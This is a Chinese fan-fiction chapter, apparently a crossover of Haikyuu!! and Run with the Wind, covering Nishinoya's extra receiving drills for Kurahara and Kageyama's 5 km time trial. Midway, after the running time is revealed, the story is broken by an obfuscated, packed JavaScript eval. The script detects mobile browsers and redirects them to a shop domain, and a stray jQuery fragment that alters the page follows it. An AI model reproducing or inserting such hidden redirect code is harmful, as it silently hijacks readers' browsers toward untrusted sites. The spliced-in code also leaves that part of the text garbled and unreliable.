上午训练结束,大家各自简单冲洗后,回到别墅的一楼餐厅集合。
“真是一天比一天丰盛啊。”KING看着眼前的饭菜说。
昨天因为时间紧张,宽政大学排球部送来的还是一人一份的丰盛便当,今天直接变成了餐盒叠起来有十几个人那么高的豪华菜肴。
“灰二前辈和影山还没回来吗?”日向期待地拿起筷子。
“他们去综合运动公园做跑步测试了。”神童说,“不过这里好像……不止少了他们两个。”
“是阿谷和藏原前辈,他们还在排球场加训。教练和小武老师也跟着一起留下了。”田中死死摁住日向的手,生怕他会独自先吃。
“还有谷地同学,她说她现在很会扔球,想留在那里帮忙。”菅原说。
“加训是因为阿走打得太烂?”双胞胎好奇地问。
“也不能那样说……主要还是因为西谷比较能理解影山平时打球的时候是怎么想的,教起来比较快。今天又正好是接球练习,自由人的强项嘛。”
“不过西谷学长那种教法,藏原前辈真能听懂吗?”
“阿月,”山口尴尬地摆手,“你现在是在骂西谷学长还是在骂藏原前辈……”
大家嘴上讨论得热烈,手上却都没有动作。阿雪不动声色地看了一圈后,用力踩了旁边的尼古一脚。
“哎呦!你这家伙……”
“其他‘长辈’都不在,快点。”
尼古没办法,只好坐直上半身,用力清了清嗓子:“那个……不用等他们了,我们先开动吧。接下去大家结束训练的点也都不太一样,等来等去只会浪费时间。”
“没错,请尽量随意一些。”姆萨说。
“好——”
大家立刻拿着筷子欢呼起来。
“说起来,我当时还以为西谷学长要和藏原前辈打起来了。”日向把碗里的菜堆得像小山那样高,嘴里也塞得满满的。
“我也是,吓得我心脏都要停了。”山口马上应和。
“不会的。”同为二年级的缘下把水壶递给正在埋头苦吃的田中,示意他往旁边传,“阿谷虽然看上去有点热血过头,其实很好说话。”
“能让他起冲突的也只有我们ACE了吧。”
“怎么能这么说……”东峰伸出去的筷子又缩了回来。
回到别墅之后,他已经把头发都重新梳到后面,变回了只戴发带的清爽造型。排球部的另一位经理清水洁子看见他从洗脸间整理完出来,还对他点了点头,给予了一个肯定的眼神。
这让他更加挫败。
“不要气馁!”
西谷中气十足,挥手示意谷地再扔一个球过来。
“藏原前辈,你看。等球过来的时候,就这样,像弹簧,咚!然后手指这样摆,手臂这样摆,再然后,嘭!就可以打回去了!”
球在空中划出了一道漂亮的抛物线。
阿走目瞪口呆。
西谷理所当然地说出了这些奇怪的拟声词,但在实际接球的时候,又并没有真的发出这些咚!嘭!之类的声音。
前几天影山好像也是这样讲话的……该不会整个乌野讲话都是这个风格吧?!阿走有些担心。
“哇,好厉害!”站在移动球车边的谷地小幅度鼓起了掌。
来了轻井泽之后,排球部这边的大部分事务还是小武老师和清水在处理,谷地很想帮忙却总是插不上手。所以今天上午一听说这里需要人帮忙扔球,她立刻举手要求留下来。
“好!谷地同学,麻烦再来一球!”
“马上!”
阿走不太明白这两个人在开朗什么。
但是没办法,他学着西谷的样子摆好姿势,等着下一个球的到来。
神奇的事情出现了。
在一次又一次地完成五十个接球后,阿走的肢体动作发生了微妙的变化。
他的步伐开始轻盈,就像他平时在跑道上调整呼吸时的节奏那样。手臂用力时,腰腹也会自觉地跟着发力。
尽管这种良好的状态很不稳定。
有时候阿走明明刚有了一点“啊,好像要这样做”的感觉,那感觉就凭空消失了。
即便如此,他接到球的次数也还是越来越多,甚至有好几次把球垫出去后,西谷会蹦起来大声欢呼:“没错,就是那个位置!”
“……好。”虽然阿走完全不知道那个位置是哪个位置。
球场边的乌养教练忍不住笑了起来,“真的是。”
“藏原同学的确有比之前进步一点,”小武老师得出结论,“明明才过去了两个小时不到。”
“没错。我本来想让藏原稳扎稳打地来,结果反而是我太保守了啊。”
西谷当着所有人的面提出要和阿走单独加训的时候,乌养教练的内心并不赞同。
毕竟一个人每天的时间就那么多,花时间多做一点这个练习,就意味着要牺牲一点那个练习的时间。预选赛在即,谁也不敢赌到底怎样的学习方式才是更正确、更有效率的。
但是当乌养教练开始思考要怎么委婉拒绝西谷的时候,不知道从哪儿冒出来的泽村和菅原已经在他身边一左一右地吹起了耳旁风。
“教练……如果不让西谷试试看的话,晚上他们可能还是会偷跑出来练习的。”
“到时候说不定会练一整个通宵哦。”
“如果是担心会影响到其他人训练,就让他们在大家的常规训练结束后再加训吧?”
“反正等影山跑步回来了也会对藏原前辈做差不多的事嘛。”
结果就变成了这样——
二年级的自由人选手和一年级的排球部经理正在蹦蹦跳跳地庆祝,影……不,藏原走同学尽管完全状况外,但也还是配合地举起了手,和他们一一击掌。
“这群家伙……”乌养系心忍不住发出感慨,“到底谁是教练啊!”
“田崎源一郎。”
清濑边走边告诉影山和宽政大学田径队有关的事,“就是竹青庄的房东先生,过几天他也要到这里来,到时候再介绍你们认识吧。”
“我一直以为灰二学长是教练。”影山说。
“我只是选手。平时田崎先生确实不怎么参与训练指导,不过不要因为这样小瞧了他,很多年前他在日本田径界非常有名。”
“好的。”影山乖乖点头。
综合运动公园离Asuka社长的别墅稍微有些远,早上的跑步训练量也已经达标,清濑考虑到肌肉负荷的问题,没有再要求慢跑回去,而是选择和影山一起走路。
他们回到别墅区的时候,阿走那边的加训组刚好加热完饭菜。
早就结束午餐的其他人正三三两两地散落在客厅的椅子上、沙发上甚至地板上,度过他们短暂而悠闲的消化时间。
“哦,你们回来了。跑的怎么样?”KING还记得测试的事。
清濑翻开训练专用的笔记本,转向KING。
所有人都好奇地围了过来。
「飞雄 15分12秒22」
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708942|208392||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“什么?!”城太和城次震惊地大叫起来。
这比他们第一次跑五公里的时候快了整整一分多钟!
“看来踢足球的跑步能力完全比不上打排球的跑步能力。”阿雪在旁边说风凉话。
“阿雪学长第一次跑得更慢好不好,那岂不是说明剑道部更差。”
“就是就是!阿雪学长当时比我们还慢了一分钟呢。”
“你们俩说什么?!”
15分12秒22。这对第一次测试的非专业选手来说,的确是一个很亮眼的成绩。尤其影山只是个高中生,早上又先去白丝瀑布完成了一次练跑。
但要靠这个成绩代替阿走参加预赛还远远不够。
清濑倒是没什么太大的反应,在各种各样的惊叹声中很肯定地说:“飞雄确实很有潜力,只要继续练习下去,就会跑得更好。”
“不……因为用的是藏原学长的身体,所以才——”
“干嘛这么谦虚。”
“真的跑的很好啊。”
影山不太擅长应对这种状况,被大家包围在中间不停夸奖,整个人看起来非常局促。
不过当日向突然从双胞胎后面冒出来,问出“所以这个成绩是影山跑得比我快的意思吗”之后,影山立刻就恢复了活力,转过头大喊:“那不是当然的吗?!”
“什么就当然了?那我明早也要测试。”
“测试了也是我赢!”
两个人迅速打闹起来。
清濑合上手里的笔记本离开混战区,走进餐厅,在阿走身旁的空位上坐下。
“你们回来了。”阿走伸长手,从旁边的置物架上多拿了两份干净的餐具下来。
“怎么搞这么红?”清濑盯着阿走的手臂。
“只是看上去吓人,”阿走解释,“一开始还有点发烫,现在已经完全正常了。”
“是吗?”清濑似乎不太放心,又看了一眼,“不要受伤。”
“嗯……那个,灰二哥。”阿走小声说。
“嗯?”
阿走有些纠结。
他不太确定是不是接下去所有和排球相关的训练也都应该和清濑汇报,但至少他这一刻很想讲,所以就还是讲了。
“西谷刚才特地帮我加训,现在我可以接到一些球了。”
“那太好了。”清濑看起来心情不错。
刚吃完饭正准备离开座位的西谷听到自己的名字,转过头来竖起大拇指:“小意思!前辈明天也和我一起练球吧!”
“好。”
“阿龙——!冰箱里还有冰棍吗——!”西谷边喊边往客厅的方向跑去。
“灰二哥,”阿走戳了戳面前的米饭,“如果等两边的比赛开始……甚至结束后,我都还是没有换回去,怎么办?”
“那就不得不通知你们双方的父母了。”
“如果那之后也没有变回去呢?”
“那你就要回去宫城重新念高中,飞雄就要留在这里念大学,不过到时候你们应该都可以重新选择社团。”清濑讲得一本正经。
“我不想那样!”阿走突然觉得烦闷,声音也控制不住地提高了一些。
尽管乌野排球部的后辈们都非常友善,阿走还是无法轻易摆脱自己上高中时的阴影。但很快他又反应过来,表情变得有些愧疚。
“对不起,灰二哥。”
不过清濑看上去完全没有生气,反而抬起左手,温和地拍了拍阿走的肩膀。
“我知道了。”清濑说。